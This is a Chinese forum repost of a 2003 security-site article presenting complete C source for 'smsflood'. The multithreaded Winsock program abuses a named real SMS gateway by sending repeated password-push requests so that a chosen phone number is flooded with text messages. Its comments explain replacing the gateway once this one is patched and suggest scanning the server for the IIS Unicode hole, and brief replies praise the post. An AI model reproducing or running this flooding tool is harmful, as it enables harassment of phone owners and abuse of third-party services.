短信攻击新思路!

时间:2021-03-15 00:22:14
by yellow(yellow@safechina.net)

短信攻击新思路  
/*说明: 

  作者:Yellow 

  Email:wjj2748_cn@sina.com 

  日期:2003年9月2日晚 
********************************************************************* 
  命令行: 
smsflood <手机号> <发送次数><回车> 


  程序运行时会查询服务器状态,当服务器状态为40x时可能程序里使用 
  的短信网关已将洞洞给补上了,因为服务器那里会有发送记录,可能管 
  理员会发现我们所做的,那时就要再找一个有洞洞网关,然后修改源程 
  序,再重新编译了.程序虽小,但使用了多线程、临界区、Winsock、 
  TCP/IP、HTTP协议等技术!是一个不错的网络编程例子程序哦! 

  这里只是提供一个思路,使用Windows Sockets编程可以让我们获得更多 
  的底层信息,比如在这个程序里,我们就会发现在服务器使用的是IIS 5.0 
  如果想进一步攻击,我们可以再编写一个UniCode漏洞扫描程序(该漏洞是 
  IIS所特有的). 
********************************************************************** 
*/ 
#define _MT//多线程支持 
#include <stdio.h> 
#include <stdlib.h>//memset() 
#include <string.h> 
#include <conio.h>//getch() 
#include <process.h>//_beginthread,使用多线程函数 
#include <winsock.h>//socket(),bind(),connect,send(),recv().....,使用套接字函数 

#pragma comment(lib,"ws2_32.lib")//连接套接字函数 
#pragma comment(lib,"Libcmt.LIB")//连接多线程函数 

//inifmt和sendfmt是程序使用的HTTP POST方法数据包,用我写的listen80程序获得的 

char inifmt[]="GET /asp/sms/reguse.asp?strMobilecode=%s HTTP/1.1\n" 
  "Accept: */*\n" 
  "Accept-Language: zh-cn\n" 
  "Accept-Encoding: gzip, deflate\n" 
  "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n" 
  "Host: sms.soufun.com\n" 
  "Connection: Keep-Alive\n\n"; 

char sendfmt[]="GET /asp/sms/pushpass.asp?strMobilecode=%s HTTP/1.1\n" 
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*\n" 
"Accept-Language: zh-cn\n" 
"Accept-Encoding: gzip, deflate\n" 
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n" 
"Host: sms.soufun.com\n" 
"Connection: Keep-Alive\n\n"; 

char buffer[400]={0},buffer2[300]={0}; 
struct sockaddr_in server,client; 
char mobile[11]={0}; 
int scount=0; 
CRITICAL_SECTION beswap; 
/***********************************************************************************************/ 
void dofuckamcc(void* parm) 

EnterCriticalSection(&beswap); 
SOCKET sfd; 
scount++; 
if((sfd=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET) 

printf("为%d攻击线程分配套按字失败....\n",scount--); 
    LeaveCriticalSection(&beswap); 
return ; 

if(bind(sfd,(struct sockaddr *)(&client),sizeof(struct sockaddr))==SOCKET_ERROR) 

printf("攻击线程%d地址绑定失败....\n",scount--); 
LeaveCriticalSection(&beswap); 
closesocket(sfd); 
return ; 

if(connect(sfd,(struct sockaddr*)&server,sizeof(struct sockaddr))) 

printf("攻击线程%d在连接到服务器时失败....\n",scount--); 
closesocket(sfd); 
LeaveCriticalSection(&beswap); 
return ; 

printf("线程%d正在发送数据包到%s\n",scount,mobile); 
memset(buffer,0,380); 
printf("攻击线程 %d 正在初使化短信攻击数据......\n",scount); 
wsprintf(buffer,inifmt,mobile); 
send(sfd,buffer,sizeof(buffer),0); 
printf("攻击线程 %d 正在发送攻击数据包......\n",scount); 
wsprintf(buffer,sendfmt,mobile); 
send(sfd,buffer,sizeof(buffer),0); 
printf("攻击线程 %d 完成数据包发送,正在查询服务器状态......\a\n",scount); 
recv(sfd,buffer2,240,0); 
printf("服务器状态如下:\n%s\n",buffer2); 
LeaveCriticalSection(&beswap); 
Sleep(200);                                          

/***********************************************************************************************/ 

void main(int argc,char **argv) 

//1,初使化套接字以及地址和临界区变量 
WSADATA data; 
struct hostent *host=NULL; 
int begin=0,thread=0; 
if(argc!=3) 

printf("smsflood <mobile> <times>\a\n"); 
exit(-1); 

if(WSAStartup(0x0202,&data)!=0) 

printf("WSAStartup error:%d\n",WSAGetLastError()); 
exit(0); 

memset((void*)&server,0,sizeof(struct sockaddr_in)); 
memset((void*)&client,0,sizeof(struct sockaddr_in)); 
server.sin_family=AF_INET; 
server.sin_port=htons(80); 
server.sin_addr.S_un.S_addr=inet_addr("202.108.253.37"); 
client.sin_addr.S_un.S_addr=htonl(INADDR_ANY); 
client.sin_port=htons(0); 
client.sin_family=AF_INET; 
thread=atoi(argv[2]); 
strcpy(mobile,argv[1]); 
InitializeCriticalSection(&beswap); 
//2,跟据用户输入启动发送线程 
printf("\n短信洪水攻击程序 Ver 1.0.1.11\n\n作者:yellow\n\nEmail:wjj2748_cn@sina.com\n\n"); 
printf("初使化完成,是否开始攻击?(y/n)\a\n"); 
if(getch()=='y') 

while(begin<thread) 

if(_beginthread(dofuckamcc, 0, NULL )==(long)-1) 
continue; 
else 
begin++; 

printf("攻击线程已经,请等待线程退出......\a\n"); 

//3,完成发送后,进行必要清理 
getch(); 
printf("按任意键退出......\n"); 
getch(); 
WSACleanup(); 
DeleteCriticalSection(&beswap); 
//4,退出应用程序 
}  


 
CopyRight (C)2001-2003 SafeChina.net All Rights Reserved 
 
  

5 个解决方案

#1


这个在SafeChina看过!

#2


这个文章有意思。
值得多多学习。

#3


很好的文章,学习.....

#4


mark

#5


学习

#1


这个在SafeChina看过!

#2


这个文章有意思。
值得多多学习。

#3


很好的文章,学习.....

#4


mark

#5


学习